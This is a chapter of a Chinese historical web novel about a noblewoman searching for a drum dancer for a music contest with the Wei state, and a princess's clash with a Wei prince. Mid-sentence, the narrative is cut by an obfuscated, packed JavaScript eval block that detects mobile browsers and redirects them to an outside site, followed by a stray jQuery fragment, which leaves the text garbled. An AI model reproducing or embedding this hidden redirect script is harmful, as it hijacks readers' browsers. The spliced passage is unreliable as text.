桃叶渡四周的茂林修竹遮住了灼灼的夏日,江面上的凉风不时地捎来远处艄公的歌声,真是一片惬意,实在是一个适合于倾吐离别之情的地方。
可我们的乘月却听不见刘毅的话语了,她的耳边只有那一句,“在鼓上跳舞!”
在鼓上跳舞!
“那个跳舞的艺人,是不是有点年纪了?”乘月忽然问道。
“啊?”这次轮到刘毅懵了。
“也,也没有吧。”回答得有点结巴。
“你带我一起回丹徒吧!”乘月果断地建议道。
“啊??”刘毅又懵了。
“我有一个竞演,需要会跳鼓舞的艺人!”这真是言简意赅。
看刘毅一头雾水,褚阳宇笑着解释道,“魏国的使臣瞧不上我国的乐舞,要和我国进行一次竞演,表妹和昭明公主正在寻找会跳鼓舞的艺人。”
刘毅一愣,倒是没想到,自己的未婚妻,还有这样的一面!
只不过,他并不觉得,这是多么重要的事情,值得乘月千里迢迢随自己奔赴丹徒。
“两国竞演,由清商署去负责,你就在家安心待嫁,不要参与这些纠纷了。”
“这哪里是普通的纠纷!这次竞演关系到晋国的名誉!”
刘毅揉了揉眉心,“乘月,两国相争,凭的是国力和军事。区区乐舞,取悦人的玩意,如何能左右一国的声誉?”
不不,乐舞不是卑贱的玩意!乘月的心中涌起了一股子不服气。
可她又不得不承认,从古至今,从事乐舞的人,也就是所谓的倡优,就是以歌舞愉人而生存的,是被世人所鄙夷的。
但,乐舞的美好是其他东西取代不了的,它是可以象征什么的,并不只是蛮力才能左右国家的声誉!乘月很想这样辩驳。
可是,自八王之乱以来,晋国土地连连沦丧,以至于青衣行酒,偏安江南。在军事上被蛮夷反复践踏的晋国,早已给世人留下了南人孱弱的印象。
刘毅当然看出了乘月的不服,他耐心分析道,“朝廷要求我立刻回到丹徒,这一路星夜兼程,不可能照顾好你!你又何苦受这个罪呢?而且,就这样把你带去丹徒,我怎么跟虞大人交代?”
看着远去的风帆,虞乘月从某种朦胧的情愫中清醒过来,这个名叫刘毅男子,在危急时刻解救过自己,也因此,让年轻的自己对他产生了依恋;而对于年轻的女郎来说,依恋是很容易转化为爱意的。
现在,她明白了一点,刘毅会因为某些原因,拯救一个陷入困境的弱女子,但在关键时刻,建军将军是不会因为这个女子而动摇自己的决定的。
“乘月?表妹?”
“表哥。”乘月回过神来,“表哥,我是真的想去。”
“乘月,兄长说的没错,现在战事随时可能发生,各镇戒严,盗匪四起,你去丹徒时有兄长的庇护,可是回来呢?他不可能放下丹徒的事务,只为护送你一人回京啊!”
“可是,我们只有这个线索了。”
“让兄长代为搜寻如何呢?”
“他毕竟不懂乐舞,不是随便在鼓上跳几下就是汉代鼓舞的。如果那个舞者真的是玄玉前辈,经历了那些不好的往事,恐怕也很难说服她回京啊!这一遭,我真的得去!”
“她不愿意回京,那就直接绑了回来!”褚阳宇虽然平日里也是有些文雅的,可长期待在禁军之中,多少浸淫了些武将粗鲁直接的习气。
“不!不行!不能这样!”乘月赶紧摆手,“这样的艺人,乐舞的天赋和热情都是世上少有的,她从京都逃出来,说明她一定是一位极为看重尊严的人,怎么能这样无礼地对待她!”
她的面色是如此的认真,看得出来,她是真的怕有人用权势去逼迫那个叫玄玉的艺人。
可是,褚阳宇却着实不理解,一个艺人而已,值得这样尊敬吗?
“我一直有一个疑问,”阳宇问道,“你为什么会对乐舞这么感兴趣呢?又为什么会这这样尊敬一个艺人?玄玉再如何出色,也不过是个小小的艺伎啊!”
“表哥,有时候,我会想,人们常常说的卑贱和高贵,到底是因为什么决定的呢?”乘月的眼神有些茫然。
“我听过一些佛法,那大概是前世种下的因吧。”
“可我也听说过,人的出生,就像是风吹落的树叶,是很偶然的。有的人,比如你我,落在了富贵人家,有的就落到了贫困人家,遭遇着不幸。难道仅仅因为一点点偶然,我们就比他们高贵吗?难道,就因为出身,就要否定他们的品德和才华吗?”
褚阳宇沉默了,“就算你说的有道理,也不值得你冒这个风险啊!”
“表哥,我好像就是想要争一口气,为了咱们晋国!也为了被人看不起的乐舞!它是那么灿烂,为什么要被世人遗忘?为什么要被随意贬低践踏?”
“好,那就让我送你去丹徒吧!”
负责俗乐的清商署位于建康宫内廷,在籍的艺人们要去民间各处采集音乐歌谣,还要对音乐和歌舞进行整理和编排,旧有的乐舞已也不能失传,可想而知她们的繁忙。
在乘月忙于寻找鼓舞的同时,清商令也挑选了一批才艺出众的艺伎和最能代表南方晋国的清商乐舞,邀请昭明公主参与定夺。
年轻的艺伎们也知道这次演出,有可能会让她们名声大噪,一时间清商署里,笛声如诉,舞袖凄凄,仿若仙境......
“公主殿下今日亲自来清商署挑选乐舞,真是用心啊!”
昭明公主余光一瞥,那个让她大动肝火的魏国王子拓跋玮不知什么时候竟然来到了她的身边!
她以不易察觉的幅度轻轻拢了拢衣角,微微远离。
而从拓跋玮的角度看去,光影斑驳之下,昭明公主挺秀的鼻梁如笔锋般倔强犀利,白皙光洁的脸颊上细小的绒毛清晰可见,清新又可爱。
这位单边耳垂挂着银饰的异族王子,好像并未察觉自己不受欢迎的状况,他上前一步,“小王刚刚听到了以前从未听过的音乐,很是新奇,公主能否为小王讲解一二?”
拓跋玮嘴角含笑,但这笑容明显有些佻垯——即使身着汉人的服饰,说的也是官话雅言,他的气质却异常张扬,与那些内敛的汉人文官截然不同。
“殿下,我很忙。解说之事就由乐令大人代劳吧。”礼貌客气而疏离。
“看来公主殿下还在为竞演之事费心?哎,区区小事,小王退后一步,让贵国乐伎拔得头筹就罢了,公主又何必太在意?”
这种高高在上的口吻,听着好像胜利非他莫属,不过是因为不屑而施舍给自己似的!
哼!这个狂妄的家伙!如果是几天前,自己没准真的会被气晕,但现在,乘月已经告诉了自己丹徒鼓舞之事,到时候一定要让这些蛮族人输得心服口服!
昭明公主轻蔑地看了拓跋玮一眼,面色平淡,“两国竞演,公平公正即可。请王子殿下让一让。”
可是,拓跋玮并没有侧身让开的意思,他微微一笑,不过是一眨眼的功夫,一朵不知从何处摘下的海棠花已经簪入了昭明公主如云的鬓发。
娇艳的粉色海棠点缀在昭阳略显厚重的发髻上,让一向在人前自持端庄的公主多了些属于少女的妩媚。
“公主殿下真是人比花娇啊!”异族王子发自内心地感叹道。
“你!你放肆!”昭明气得浑身发颤,这个野蛮人竟敢如此轻薄于堂堂的晋国公主!
“哈哈哈哈!如果是在我国,公主殿下就算是与小王定下百年之约了哈哈哈哈!”
昭明平静
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17285914|198435||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
娴雅的面容被气得通红,而罪魁祸首拓跋玮竟然有种莫名的愉悦感。
昭明公主深吸一口气,她冷冷地扯下海棠,一把丢到了栏外,“你久居荒蛮,不懂中原的礼数,我就不与你计较了。”
这又是在骂拓跋玮是蛮夷了。
而拓跋玮却没有动怒——一朵娇艳的玫瑰花,总是刺手的。
已是日落黄昏,建康城门紧闭——按照律令,日落后是不允许车马进出建康的。
但今日,一队人马赫然在黄昏之时停驻在了建康城门前。为首之人是一位年轻郎君,他穿着浅灰色裼衣,身姿如松,面容清俊,举止温润有礼,分明是贵族出身。
这位郎君递出一块印章,“我们是受昭明公主所托,有急事出城,这是公主的信物,请将军过目!”
这是昭明公主的印章,由当今天子亲自雕刻,某种意义上,也可以代表天子的旨意。
守城的将领认真查看,确认无误后高声道,“放行!”
厚重的城门缓缓打开了,马车朝着丹徒的方向驶去。
月光透过车窗的帘幕,映照出一张莹润的脸庞,粉黛尽褪,却难掩国色,正是我们寻找鼓乐舞的乘月。
她往建康的方向看去,沉默许久。父母并不同意她以身涉险,天黑之际,她留了一封书信,便溜了出来,坐上了等候在外的车驾。她可以想到看到书信时父亲的暴怒和母亲的忧伤。
时间紧迫,骏马在车夫的鞭策下飞驰,车驾也颠簸得厉害。
褚阳宇看着脸色有些苍白的乘月,心中不免怜惜,“我的表妹,明明可以锦衣玉食,却要如此颠沛,只为了前往丹徒去寻找一位不知是否存在的艺伎!这一路也是否会平安无虞,也不知道她能否经得起长途辛苦!”
想到这里,阳宇温柔地说道,“乘月,如果你觉得难受,我们就回去吧。”
“不!表哥,我们都走到这一步了,怎么能轻易回头?”
只是,这寂静的黑夜和杳无边际的旷野,让她忽然想起了那不堪的逃亡的夜晚。
“表哥,我有点害怕!”
“别怕!有我在!”他挑选了最精锐的府兵一路护送,应该不会有什么闪失,“你什么都不用担心,一路看看风景,就到丹徒了。”
乘月看向窗外,初秋的郊野,月色如霜,头顶有几只失群的鸿雁飞过,徘徊着呼叫队友,声音在旷野回荡,格外凄厉,乘月忽然间就感觉到了些许的沧桑。
“夜中不能寐,起坐弹鸣琴。薄帷鉴明月,清风吹我巾。”乘月缓缓吟出一首古诗。
“这是阮籍的诗。”褚阳宇轻声回应。
“表哥,你说,那个玄玉,还活着吗?我们能找到她吗?她会帮我们复原前朝乐舞吗?”
“公主殿下的御史亲自来访,她又有什么理由拒绝呢?”阳宇温柔地安慰着有些不安的乘月。
乘月默然低头,大家都认为,来自上位者的垂询是一种荣耀,没有人会拒绝;可是这位玄玉,是躲避了贵人几十年的孤傲之人啊!
“好了乘月,别多想了,前面有一家驿站,我们就在此地过一夜吧。”
乘月在褚阳宇的搀扶下走下马车,凉风从丹徒的方向而来,似乎在拒绝他们的前往。
回首看去,旷野无边,一切都是那么的渺小,地平线与天际相交融,也许隐藏着未知的危险......
此刻的自己,有表哥的陪伴和府兵的护送,尚且如此恐惧和伤怀;那位孤身出逃的玄玉呢?她又是经历了多少艰难,以怎样的勇气才逃亡到丹徒的呢?
在混乱的思绪中,乘月沉沉睡去......
“咚咚咚!”
“咚咚咚咚咚!”
急促的敲门声将乘月惊醒。
“什么人?”